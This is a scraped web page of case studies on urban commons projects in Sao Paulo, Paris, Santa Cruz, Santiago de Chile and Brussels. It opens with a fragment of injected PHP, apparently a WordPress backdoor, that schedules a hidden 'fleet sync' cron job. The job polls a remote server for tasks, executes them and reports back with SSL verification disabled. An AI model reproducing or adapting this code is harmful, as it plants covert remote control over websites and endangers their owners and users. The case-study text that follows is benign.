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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Case Studies | DesignForCommons
Sao Paulo – Growing Farmers’ Income

Sao Paulo – Growing Farmers’ Income

by | Jun 8, 2018


Source: Citiscope, http://citiscope.org/story/2017/how-sao-paulo-tackling-poverty-and-urban-sprawl-bolstering-farming
Country Brazil
City Sao Paolo
Name Growing Farmers’ Income
Date 2017 (design)
Description Although 70 percent of the produce consumed in Brazil comes from family agriculture, local farmers on the urban fringes of São Paulo struggle to market their produce and make a living. Discouraged, farmers become vulnerable in the face of urban sprawl and sell their land for development. In addition to further reducing productive activities in the suburbs, this process aggravates environmental problems that impact the water supply of 5 million people.
São Paulo will strengthen the local agriculture value chain, promoting sustainable land use and job opportunities by creating a digital farm-to-table exchange platform. The platform will connect local farmers on the far edges of the city to the growing number of restaurants, markets, and institutions in need of locally grown produce. This will allow for inclusive development in the urban fringes and, over time, generate land value through sustainable use and protection of water reservoir areas.
City officials were inspired by the growing demand for local and organic produce and the potential of family-based agriculture on the urban fringes. They were also encouraged by many initiatives undertaken by civil society in fair trade, sustainable consumption, solidarity economics, cooperation networks, and co-creation.
Urban Co-Governance Moderate
Enabling State Moderate
Pooling Moderate
Experimentalism Moderate
Tech Justice Moderate
Project Website http://mayorschallenge.bloomberg.org/ideas/sao-paulo/

https://bloombergcities.jhu.edu/sao-paulo-connect-dots
References, sources, contact person(s) Growing Farmers’ Income Program, SP, Brazil. Source: Mayor Challenge Bloomberg website; Citiscope, http://citiscope.org/story/2017/how-sao-paulo-tackling-poverty-and-urban-sprawl-bolstering-farming
https://cityfarmer.info/brazil-how-sao-paulo-is-tackling-poverty-and-urban-sprawl-by-bolstering-farming/

Sao Paolo

Jardins Partagés Main Verte Program

Jardins Partagés Main Verte Program

by | Jun 8, 2018

Source: Biodiversité, http://labiodiversite.free.fr/biodiversite_paris/parcs.php
Country France
City Paris
Name Jardin Partagé Main verte program, Mairie de Paris
Year of beginning 2003
Description Urged by local associations already taking care of some urban gardens in Paris, the City of Paris passed in 2003 the “Main Verte” program which promotes the creation by citizens associations of urban community gardens, enabling them with technical assistance, land use rights, and providing know-how.

Other than receiving requests for the creation of new gardens, a Resource Center for Urban Gardeners also assists citizens through the organization of meetings and workshops.

According to the “Convention et charte Main verte”, the gardens are usually set up on the city’s land but they can also grow on other land types. This chart and regulation is to be signed by the City and the association in charge of the garden, which established the rules and the allowed usages of the gardens.

The inhabitants who manage the gardens must commit to keep the gardens open to the community and the public and follow sustainable management methods.

Urban Co-Governance Moderate
Enabling State Strong
Pooling Moderate
Experimentalism Moderate
Tech Justice Weak
Website https://www.paris.fr/services-et-infos-pratiques/environnement-et-espaces-verts/nature-et-espaces-verts/les-jardins-partages-203
References, sources, contact person(s)  Jardins Partagés, Mairie de Paris, France. Source: Website

Contacts : main.verte@paris.fr

 

Paris, France

Santa Cruz – Orçamento Participativo

Santa Cruz – Orçamento Participativo

by | Jun 8, 2018

Source: IMVF http://www.imvf.org/?noticia=1624
Country Cabo Verde
City Santa Cruz
Name Orçamento Participativo
Date 2012
Description Cape Verde has four pilot projects for participatory budgeting: Santa Cruz, S. Michael, Paul and Mosteiros.

The general goals of the project as listed on the website are the following:

  • To train different local actors for the activities of design, management, monitoring and evaluation of Participatory Budgeting processes to be established;
  • To develop a new type of local governance;
  • To develop a new culture of democracy and participation for the population of Cape Verde;
  • To give credibility to political action and develop educational processes that create citizenship;
  • To promote a shared experience and network relations between the authorities that encourage participatory budgeting.

How it will work:

1) Information sharing activities about the participatory budgeting: concept , history , methodologies ,designing templates , regulations , participatory cycles , etc.

2) Consultancy to authorities in the form of individualized support to municipalities with BP processes underway or for those interested in implementing new experiences . This advice takes into consideration aspects such as design, management , monitoring and evaluation of experiences .

3) Construction of a website which should contain a directory of BP experiences in Cape Verde, with its mapping and description, as well as contact information for those responsible for each PB, disclosure of instruments and materials used , dates and locations of public meetings , etc. The website must include: project presentation, news, schedule, library , resource centre and links of interest .

4) A National Meeting on Participatory Budgeting is to be held annually, every time in a different municipality, which promotes this kind of experience. These meetings should contribute to increasing the collective knowledge of the OP in Cape Verde , encourage the sharing of experiences and create bonds of networking between promoting authorities of PB.

5 ) Preparation of a publication on the subject of the Participatory Budget that should contain two parts:

The Santa Cruz project for PB in Capo Verde is the biggest one and the most important experiment in the country due to its size.
Urban Co-Governance Moderate
Enabling State Weak
Pooling Moderate
Experimentalism Moderate
Tech Justice Moderate
Project Website http://participedia.net/en/cases/participatory-budgeting-santa-cruz-cape-verde

Prefeitura De Santa Cruz Anuncia O Programa Orçamento Participativo (santacruzdocapibaribe.pe.gov.br)
References, sources, contact person(s) Participatory Budgeting Cape Verde. Source: Participedia. 

Contact for Santa Cruz : Prefeitura Municipal de Santa Cruz do Capibaribe

Santa Cruz, Cape Verde

Santiago de Chile – Ciudad Emergente

Santiago de Chile – Ciudad Emergente

by | Jun 8, 2018


Source: Plataforma Urbana http://www.plataformaurbana.cl/archive/2015/06/14/okuplaza-del-reciclaje-instalada-en-valparaiso-se-exhibe-en-el-moma-de-nueva-york/
Country Chile
City Santiago de Chile
Name Ciudad Emergente
Date 2011
Description Ciudad Emergente creates urban innovation to improve the quality of life in developing cities. It achieves this through the management of information platforms and the creation “high impact” participatory projects. Founded in 2011, Ciudad Emergente strives to be the leading Latin American Center specialized in urban tactics and web applications for the collection, dissemination, discussion, and coordination of valuable information on the quality of life in developing neighborhoods and cities.

Their mission is to combine citizen activation tactics with social intercommunication tools 2.0 in order to identify, construct, validate, and maintain a set of relevant and binding indicators for all ‘emerging communities’. Ciudad Emergente is dedicated to developing, adapting, and implementing instruments and analog and digital services of civic cooperation that help articulate local processes of citizen activism and strengthening communities’ social capital by facilitating the effective communication between decision-makers and the civil society.
Urban Co-Governance Moderate
Enabling State Strong
Pooling Moderate
Experimentalism Strong
Tech Justice Strong
Project Website http://www.ciudademergente.org/en/
References, sources, contact person(s) Ciudad Emergente, Santiago de Chile. Source: Institutional website, interview.

Contact : hola@ciudademergente.org

 

Santiago de Chile

Brussels – Community Land Trust

Brussels – Community Land Trust

by | Jun 8, 2018

Images source : https://www.cltb.be/a-propos/

Country Belgium
City Brussels
Name Community Land Trust
Date 2010 ; recognized in 2012
Description The Community Land Trust of Brussels was the first of its kind. It has started as a citizens movement that since the early 2000s has tried to find a solution to the housing crisis in the city of Brussels. Through a process of learning and empowerment 15 associations finally got together in 2010 to ratify a charter and create a CLT platform. The citizens efforts were finally recognized by the government of Brussels in 2012, allowing for the transformation of the platform into the CLTB non profit association and public utility foundation. The Region also subsidized two pilot-projects: the Arc en Ciel and Le Nid project.

In September 2015 the “Ecluse” project becomes the first CLT inhabited in Continental Europe.

Today, the CLTB counts  9 inhabited buildings, 6 active projects and other 6 projects in the making. The project works like any other CLT, turning land into a collective property, ensuring affordable housing and community spaces that respond to the needs of everybody and especially of the most vulnerable citizens.
Urban Co-Governance Moderate
Enabling State Strong
Pooling Moderate
Experimentalism Strong
Tech Justice Weak
Website https://www.cltb.be/
References, sources, contact person(s) Interview with Geert De Pauw, Coordinator.

Contact : info@cltb.be

brussels